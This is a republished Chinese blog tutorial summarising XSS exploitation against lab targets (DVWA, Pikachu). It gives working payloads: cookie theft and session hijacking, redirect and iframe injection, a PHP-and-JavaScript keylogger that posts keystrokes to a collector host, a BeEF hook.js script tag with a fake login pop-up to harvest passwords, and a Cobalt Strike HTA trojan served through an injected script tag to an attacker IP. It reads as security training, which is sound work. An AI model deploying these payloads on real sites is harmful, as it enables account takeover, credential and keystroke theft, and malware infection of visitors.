0


xss漏洞利用方式总结


搭建XSS平台

首先,我们需要一个XSS平台,自己搭建一个还是使用在线的都可以,本人使用的是自己搭建的清华大学蓝莲花战队所写的xss测试平台BlueLotus,这里附上这个平台的安装教程,里面也提供有源码下载地址。(请自行搜索该平台使用说明,为了节省篇幅,本文只记录实验过程)

此平台优点:界面布局清新、数据可阅读性好、IP获取准确、IP地址定位精准、轻量级(无需数据库)、对数据存储进行加密、GitHub开源方便与开发者交流(生命周期长)。

可以看到,BlueLotus平台还提供了一些js模板,便于我们参考或者构造XSS脚本。

为什么要搭建一个XSS平台呢?便于我们接受数据,比如窃取cookie之后返回给我们,获取截图返回给我们,重点是大多数xss平台还可以自动生成XSS脚本,大大的节省了我们的时间成本。关于靶场,这里使用的是DVWA漏洞练习平台,安全级别为low,利用模块为XSS(Stored)。闲话少说,直接开始实验。

窃取cookie

在这里我们直接使用平台自带的default模板生成的payload,将其写入DVWA中提供的留言板。

不过这里有留言板的字数限制,我们需要先使用F12开发者工具将其改动才可以将代码写入

点击Sign Guestbook成功写入。此时我们是admin用户,插入的语句即为存储型XSS,每当其他用户访问当前页面或者刷新当前页面,我们的代码就会执行一次。

这条语句的作用是执行时访问我们设置在本地的XSS测试平台BlueLotus中的cookie模块,而该模块下面的代码会接收访问了留言板页面用户的cookie并记录。

接下来我们退出当前账号,使用另外一个账号登录(换个浏览器即可),模拟某受害者smithy先生

smithy先生浏览到了留言板页面,发现了一条Name为1而没有具体内容的留言,smithy笑了笑,心道,这谁留的言,字都不会打,怎么敢玩互联网的啊。

而在另外一边,初试身手的犯罪嫌疑人admin桑已经在XSS测试平台收到了返回的cookie信息!!!

(其中包括受害者的ip地址等信息,由于实验不便公开ip地址,所以受害者ip地址是127.0.0.1,在这里也不单独展示了)

admin桑大笑一声,操起键盘就是干!

admin桑凌晨三点还没睡觉,此时他突然打开了电脑,他登录网站了!

他按F12打开了开发者工具!接着打开了应用程序,找到了存放cookie的地方!天啊,他要干什么!他把接收的cookie替换了进去!他按下了Ctrl+R!

成功了!犯罪嫌疑人admin桑成功了!当前用户已经是smithy先生的账号!admin桑伸出了魔掌.....

让我们恭喜admin桑,一夜之隔已然吃上了国家饭!

抓取屏幕截图

我们使用平台自带的screenshot模板生成的payload,将其写入DVWA中提供的留言板。

同样先改变留言板的字数限制再将js语句写入

不同的时间同一个地点,smithy先生又来到了留言板所在的页面,他大惊失色,因为他又看到了没有内容的留言!难道.....难道.......辣个男人又回来了?!

smithy先生吓坏了,他突然又想起了上次信息泄露时警察叔叔对他说的话,他马上联系网站管理员,并且保持登录状态。

此时刑满释放的admin桑.......

没错又是他,他轻车熟路的在网站留言板里写入了js语句,猎物上钩了!

screenshot模板会将所访问网页的截图,以base64编码的方式post到http://网站地址,将post的值复制下来放在网址栏即可查看图像

不过看起来啥也不是,隔天admin桑又被抓走了........

重定向

植入广告

<script>document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='2000' height='5000' allowTransparency src=https://blog.csdn.net/zlloveyouforever/article/details/124514747?spm=1001.2014.3001.5502></iframe>");</script>

在留言板处写入类似代码(记得更改字数限制),当用户访问该页面时浏览器就会引入我们的博客文章,此时就达到了植入广告的目的。

ps:本实验植入广告的页面确实有点简陋,此处是为省篇幅,呵呵。

恶意链接

<script type="text/javascript">window.location.href="https://blog.csdn.net/zlloveyouforever/article/details/124514747?spm=1001.2014.3001.5502";</script>

恶意链接即将会跳转到其他页面的js代码插入留言板,每当用户来到这个页面,就会根据代码立即或者延时跳转到恶意链接网页,从而达到刷取流量,宣传非法网站等目的。

喏,插入之后马上就跳转到了我的博客文章页面。

获取键盘记录

获取键盘记录没有现成的js模板,这里使用了这篇博文中展示的代码,特向该博主致敬,另外希望看到这里的先生女士可以点击一下该链接为那篇博文点个赞,谢谢!

接下来简单介绍一下使用获取键盘的js模板

以下中的bule是本人的BlueLotus平台安装路径,下面凡是bule的都是这个意思,你可以改成跟我一样或者用你的路径替换bule。

在bule目录下创建keylogger.php文件,里面代码如下。

<?php
$key = $_POST['key'];
$log = fopen("keylog.txt","a");
fwrite($log,$key);
fclose($log);
?>

BlueLotus平台--> 公共模板--> 左下角 添加--> 文件名自行设置--> 模板说明自行编写-->

js代码引入--> 更改 keylogger.php文件所在路径(改成你自己的) --> 右下角新增

js代码如下

document.onkeypress = function(evt) {
    evt = evt || window.event
    key = String.fromCharCode(evt.charCode)
    if (key) {
        var http = new XMLHttpRequest();
        var param = encodeURI(key)
        http.open("POST","http://127.0.0.1/bule/keylogger.php",true);
        http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        http.send("key="+param);
    }
}                  

我的js就不用说了吧,同样新增插入模板生成payload就行了。

把生成的payload直接写入留言板

接下来换一个账号登录(换个浏览器即可)

在留言板输入内容(不在留言板里面输入也可以,只要是在当前页面敲了键盘就行),提交后(不提交也可以)到keylog.txt里面看已经获取了键盘记录。(图中打错拼音了)

1.按理说,这个keylog.txt在第一次调用之后就会自动创建,如果一直都没创建那就手动建一个,跟keylogger.php在同一个目录下即可

2.如果没有获取键盘记录可以尝试多试几次,每次试之前不要打开keylog.txt

我见青山多妩媚,料青山见我应如是

网页钓鱼

接下来的实验不再使用BlueLotus测试平台,而使用Web 框架攻击平台beef,全称是 The Browser Exploitation Framework,这个工具(平台)集成了许多payload,可以实现许多功能。后续会简单介绍安装及使用,同时附上kali机安装教程链接。

apt-get install beef-xss 

使用以上命令可以直接安装beef平台

输入如上命令会检测beef是否安装,如果已安装会呈现青绿色(如图中),并自动打开浏览器上进入beef登录页面。如果未安装则呈现红色,并询问是否需要安装,默认选择是N,此时我们直接输入y就会自动下载并解压并最终自动打开浏览器进入beef登录页面。

中间会询问是否设置密码,手动输入密码即可,输入内容不可见,如果输错了或者忘了可以在/etc/beef-xss/config.yaml中查看

vim /etc/beef-xss/config.yaml

此处有个小插曲,本人电脑安装beef-xss时始终访问不了kali官网,也试过很多办法,最终解决办法是更新源。

vim /etc/apt/sources.list  

使用如上命令打开文档,将原有的源注释掉或者删除,换成下文的清华大学的源。

deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

最终效果如下图

然后即可成功安装beef-xss

最终beef登录页面(默认账号和密码都是beef)

登录进入的页面

在前面的命令执行界面中有如上显示, 将其中这行代码写入具有XSS漏洞处即可

<script src="http://<kali机IP>:3000/hook.js"></script>

写入代码

这里需要注意dvwa安全级别是low时直接写入才有效,高安全级别会过滤或者替换我们的js语句,这样就失效了。当然,构造语句绕过之后写入也是没有问题的,只要语句写入后仍然有效即可。

此时刷新beef页面即可看到已经劫持了访问留言板用户的浏览器

绿色模块:表示模块适用当前用户,并且执行结果对用户不可见

红色模块:表示模块不适用当前用户,有些红色模块也可以执行

橙色模块:模块可用,但结果对用户可见

灰色模块:模块为在目标浏览器上测试过

点击Current Browser按钮即可显示所有模块

(假如没看到这个按钮就把beef页面或者dvwa留言板页面刷新一下)

Browser浏览器    Chrome Extensions浏览器扩展    Debug调试    Exploits利用
Host主机         Network网络       Persistence持久性       Social Engineering社会工程

简单翻译一下能译的几个功能名称,这里附上一个具体劫持流程

本节实验的目的是网页钓鱼,就简简单单钓个鱼好了

Social Engineering功能下Pretty Theft模块

Dialog Type可下拉选择弹窗样式 Backing可选择背景颜色 最下面那个是自定义logo,没用过。

点击右下角按钮Excute即执行

可以看到这边已经弹窗了,还没有关闭按钮(这个样式好有年代感,一眼假)

不输入任何东西直接OK试一下,这浏览器为虎作伥,提醒我们必须填写

账号写入admin,密码写入password ,点击OK (甚至提供了记住凭证选项,真的C)

直接点击冒出来的这条记录,右边就显示了被钓鱼的受害者填的东西。

(事实上网页钓鱼的方式多种多样,直接弹窗要求填写账号密码进行安全验证的方式只能说是成功率比较低的一种,在这里也提醒大家注意防范来历不明的链接和请求收集信息的弹窗)

设置为灰色背景后facebook样式的弹窗

网页挂马

网页挂马指黑客利用网站的漏洞,将木马病毒程序或下载链接嵌入网站的网页中,利用网站的流量将自己的网页木马传播,以达到自己不可告人的目的。

本节实验环境 (声明:本节实验流程只是网页挂马诸多方式的其中一种,不可以偏概全)

kali2022 ip:192.168.1.109

win10 ip:192.168.1.193

利用工具Cobalt Strike 左边链接详细查看

Cobalt Strike是一款美国Red Team开发的渗透测试神器,被业界人士称为CS。其拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等功能。同时,Cobalt Strike还可以调用Mimikatz等其他知名工具,因此广受黑客喜爱。

启动服务端,这个时候已经开始监听了,不能继续输入指令,再开个终端进行下一步操作

启动服务端: ./teamserver   192.168.1.109  123
#192.168.1.109是kali的ip地址,123是密码

有时候可能因为权限不够无法启动,提到root权限或者给teamserver权限就好

启动客户端,弹出来一个连接面板。这里启动的是cs.bat 一般情况下应该是start.sh

一般情况下服务端和客户端不会布置在一个主机上,服务端就像一个服务器,各种命令都是它在执行。但是服务器没有可视化界面,就像在平常使用各种终端连接服务器来配置一样,这里的客户端也类似于这些终端,客户端不执行命令,只是传达数据,提供一个可视化界面,供用户操作

因为只是实验,在这里将服务端和客户端配置在一台主机上

用户名随意,密码就输入我们刚刚设置的123

密码错误就是左边这样

然后还会有提示确认指纹,和启动服务端时显示的指纹进行匹配之后再确认(我的因为事先做过实验所以跳过了确认指纹,以上是我找的网图)

连接成功之后就是这个亚子,因为有些模块未涉及实验,这里就不提了,再附上一个链接吧

新建一个监听器

name:为监听器名字,可任意
payload:payload类型
HTTP Hosts: shell反弹的主机,也就是我们kali的ip
HTTP Hosts(Stager): Stager的马请求下载payload的地址
HTTP Port(C2): C2监听的端口    1112我生日哈哈哈哈

这样就算OK了,右键还可以设置颜色,哦,这可爱的粉色

生成木马

实现hta木马的方法选择PowerShell,监听器选中我们刚刚创建的监听器

可以直接保存在桌面上

点击链接图标并选中我们刚刚生成的hta文件

这样我们就得到了下载该木马的链接

<script src="http://192.168.1.109:80/download/file.ext"></script>

靶场我们使用Pikachu漏洞练习平台。将生成的链接结合js代码利用xss漏洞插入

出现了一个删除按钮,就表示插入成功了。

Win10安全中心统统关掉

win10自带的安全防护太强了。还得手动下载。

手动运行。

成功上线。

接下来就是后渗透的操作,比如说提权,进程迁移等等。


XSS漏洞利用方式到此告一段落,但是绝不仅仅只有这些,诸多漏洞利用组合拳以及新爆的漏洞都有XSS的身影,所以说,了解以上仅仅是最基本的。

感谢阅读。(除网页挂马之外的利用方式都是去年写的,有点幼稚,如今补了结尾,懒得改了,不喜勿喷)

标签: xss 前端 网络安全

本文转载自: https://blog.csdn.net/zlloveyouforever/article/details/124544714
版权归原作者 热爱画家夫人 所有, 如有侵权,请联系我们删除。

“xss漏洞利用方式总结”的评论:

还没有评论